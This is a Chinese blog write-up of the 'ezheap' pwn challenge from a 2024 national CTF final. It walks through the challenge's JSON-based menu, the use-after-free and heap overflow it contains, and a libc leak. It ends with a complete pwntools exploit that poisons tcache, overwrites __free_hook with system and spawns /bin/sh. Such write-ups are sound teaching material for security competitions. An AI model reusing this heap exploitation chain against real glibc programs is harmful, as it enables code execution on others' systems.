2024国赛决赛ezheap题解

Posted by l0tus on 2024-07-23
Estimated Reading Time 7 Minutes
Words 1.5k In Total
Viewed Times

这个题首先会在交互的时候卡一下,直接输入option并不能交互
pic0
提示format错误,推断出要按照一定格式发,猜测protobuf、cjson等。
逆向分析发现是cjson的解析。
所以要按照json格式发送数据:

1
2
3
4
5
6
7
8
9
10
11
def new(len,message):
payload = b"{\"choice\":\"new\","
payload += b"\"index\":"
payload += str(0).encode()
payload += b",\"length\":"
payload += str(len).encode()
payload += b",\"message\":\""
payload += message
payload += b"\"}"
p.sendlineafter("Please input:",payload)

查看libc版本是2.31-0ubuntu9.16,直接把小版本为9的ld拉过来也能用。
然后再去看各个功能的实现
new:
pic1
限制了大小是0x10-0x400,tcache的范围,而且一共只能malloc七个堆块,那么就没法通过free塞满tcache的方式进入unsorted bin。

rm:
pic2
对idx有检查,赤裸裸的free,白给的UAF

view:
pic3
正常的view,对idx也有检查

modify:
pic4
对idx有检查,对len无检查,赤裸裸的覆盖,白给的堆溢出。

目前看来思路非常简单,不能用数量塞进ub的话,就通过溢出改后面堆块的size,直接free进unsorted bin。然后泄露libc、tcache poison直接梭。但实际上这题有让不少选手(包括我)卡住的地方。
改完size还需要把prevsize修好为0,不然free的时候有报错。
modify的时候,message会被0截断,就像这样:
我们现在执行的是modify(0,0x360,b"A"*0x358+p64(0x611))
pic5
可以看到message末尾的引号和右花括号被0截断了,因此报了格式错误,那么我们就应该直接手写小端序字节。
正确的修改方式是:modify(0,0x360,b"A"*0x358+b"\x11\x06")
pic6
但需要注意的是要恢复前面的0

这道题比较难吃的地方在于,它解析json会给各个字段分配堆块,导致堆空间有一点点乱,而且会导致覆盖的下一个chunk的距离比较大,但这个问题不大。
我们知道这个modify的消息体会被0截断,那么我们要怎么写0呢?
我的做法是控制message的长度比第二个参数len短一定字节,这样memcpy从输入缓冲区读数据的时候,会按照len,把message后面的\x00也复制到destination。
modify(0,0x358,b"A"*0x350)
然后它就被修好了,能直接free进unsorted bin了
pic7

接下来就是我后来被卡住的点,怎么泄露libc,这题的问题在于解析json的时候会malloc很多小堆块,会导致我们free进unsorted bin的堆块被切割,而导致其脏数据的地址发生变化,直接view(idx)并不能输出libc上的数据,而会被切割出来的小chunk开头的0截断,所以没有回显。
后来问了Tokamaine师傅,得到了解答
pic8
高端的黑客往往只需采取最朴素的方式~

调了一下发现确实是这样。
pic9
这张图中的libc上的地址之前已经被我控制好长度覆盖了,会出现这些小脏数据的原因是我在rm之后执行了一次modify,解析modify的时候把ub的chunk切割了,而切割的字段的堆块的大小其实都是固定的,因此这些小脏数据的偏移地址也是固定的,那就只要这一次modify的时候顺便覆盖到小脏数据之前就可以了,留个0xcafebabecafebabe作为接收的标志位,然后view前一个堆块就能输出。

有了libc基址之后就是非常常规的tcache poison了,需要注意的还是modify的0截断,因此要把地址手动转bytes用小端序存储传输有效字节。

我最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import*

context.log_level='debug'

p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def new(len,message):
payload = b"{\"choice\":\"new\","
payload += b"\"index\":"
payload += str(0).encode()
payload += b",\"length\":"
payload += str(len).encode()
payload += b",\"message\":\""
payload += message
payload += b"\"}"
p.sendlineafter("Please input:",payload)


def rm(idx):
payload = b"{\"choice\":\"rm\","
payload += b"\"index\":"
payload += str(idx).encode()
payload += b",\"length\":"
payload += str(0).encode()
payload += b",\"message\":\""
payload += b"aaa"
payload += b"\"}"
p.sendlineafter("Please input:",payload)

def view(idx):
payload = b"{\"choice\":\"view\","
payload += b"\"index\":"
payload += str(idx).encode()
payload += b",\"length\":"
payload += str(0).encode()
payload += b",\"message\":\""
payload += b"aaa"
payload += b"\"}"
p.sendlineafter("Please input:",payload)

def modify(idx,len,message):
payload = b"{\"choice\":\"modify\","
payload += b"\"index\":"
payload += str(idx).encode()
payload += b",\"length\":"
payload += str(len).encode()
payload += b",\"message\":\""
payload += message
payload += b"\"}"
p.sendlineafter("Please input:",payload)

def quit():
payload = b"{\"choice\":\"quit\","
payload += b"\"index\":"
payload += str(0).encode()
payload += b",\"length\":"
payload += str(0).encode()
payload += b",\"message\":\""
payload += b"aaa"
payload += b"\"}"
p.sendlineafter("Please input:",payload)


new(0x100,b"ThisIsNum0") #0
new(0x100,b"ThisIsNum1") #1
new(0x100,b"ThisIsNum2") #2

#rm(2)
modify(0,0x360,b"A"*0x358+b"\x11\x06")
#modify(0,0x360,b"A"*0x358+p64(0x611))

modify(0,0x358,b"A"*0x350)

rm(1)


modify(0,0x408,b'A'*0x400+p64(0xcafebabecafebabe))
gdb.attach(p)

view(0)

p.recvuntil(p64(0xcafebabecafebabe))
libc.address=u64(p.recv(6)+b"\x00\x00")-0x1ecbe0
print("libc_base = ",hex(libc.address))
free_hook=libc.sym["__free_hook"]
ogg=libc.address+0xe3afe
print("free_hook = ",hex(free_hook))
system=libc.sym["system"]
print("system = ",hex(system))

new(0x100,b"ThisIsNum3") #3
#modify(1,0x20,b'aaaa')
rm(3)
rm(0)
modify(0,0x8,free_hook.to_bytes(8,'little')[0:6])

#gdb.attach(p)
new(0x100,b"/bin/sh")#4
new(0x100,system.to_bytes(8,'little')[0:6])
rm(4)

p.interactive()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !